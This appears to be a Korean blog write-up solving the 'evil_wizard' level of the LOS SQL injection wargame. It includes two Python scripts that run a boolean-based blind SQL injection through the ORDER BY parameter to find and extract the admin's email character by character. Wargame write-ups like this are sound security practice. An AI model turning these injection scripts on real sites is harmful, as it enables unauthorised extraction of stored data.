LOS : https://los.rubiya.kr/
✔️ 문제
문제는 다음과 같다.
겉보기에는 비슷한데, hell_fire 문제랑 같겠냐고 약올리고 있다.
✔️ 풀이
풀이를 위한 코드는 다음과 같다.
if(($result['email']) && ($result['email'] === $_GET['email'])) solve("evil_wizard");
이전 문제와 비슷한 것 같지만,
필터링에 추가된 것들이 있고 진짜로 같겠냐라면서
문제에서 약올리고 있다. 하지만 필터링에 걸릴만한 것은
이전 코드에서도 사용하지 않았기 때문에 한번 그대로 시도해보자.
잘 삽입이 되는 것으로 보이고,
이번에는 admin의 score가 200에서 50으로 줄은것으로 보인다.
한번 이메일의 길이를 찾아보도록 하자.
import requests
url = "https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php"
cookies = { "PHPSESSID" : "쿠키값" }
def email_length():
length = 1
while True:
params = { "order" : "if(id='admin' and length(email)={}, 0, 1)".format(length) }
request = requests.get(url, params=params, cookies=cookies)
if "<th>score</th><tr><td>admin" in request.text:
return length
else:
length += 1
print("이메일 길이:", email_length())
이메일 길이가 30이라는 것은 찾았다.
그렇다면 이전에 사용하던 스크립트를 한번 돌려보도록 하자.
import requests
url = "https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php"
cookies = { "PHPSESSID" : "쿠키값" }
def email_length():
length = 1
while True:
params = { "order" : "if(id='admin' and length(email)={}, 0, 1)".format(length) }
request = requests.get(url, params=params, cookies=cookies)
if "<th>score</th><tr><td>admin" in request.text:
return length
else:
length += 1
def email_crack():
emails_length = email_length()
emails = ''
for i in range(1, emails_length+1):
start, end, mid = 1, 127, 64
while True:
params = { "order" : "if(hex(substring((select email where id='admin'),{},1)={}),0,1)".format(i, hex(mid)) }
request = requests.get(url, params=params, cookies=cookies)
if "<th>score</th><tr><td>admin" in request.text:
emails = emails + chr(mid).lower()
print("이메일:", emails)
break
else:
params = { "order" : "if(hex(substring((select email where id='admin'),{},1)>{}),0,1)".format(i, hex(mid)) }
request = requests.get(url, params=params, cookies=cookies)
if "<th>score</th><tr><td>admin" in request.text:
start = mid
mid = (mid + end) // 2
else:
end = mid
mid = (start + end) // 2
email_crack()
코드는 잘 동작했고, 이메일도 찾을 수 있었다.
really? 라면서,, 아마 sleep 함수 등을 사용했던 이들에게
하는 말이 아닐까 하는 생각이 들었다..
어쨋든 클리어!
화이팅 💪
'보안 > LOS' 카테고리의 다른 글
[LOS] red_dragon (0) | 2023.01.02 |
---|---|
[LOS] green_dragon (0) | 2022.12.29 |
[LOS] hell_fire (0) | 2022.12.29 |
[LOS] dark_eyes (0) | 2022.12.27 |
[LOS] iron_golem (0) | 2022.12.27 |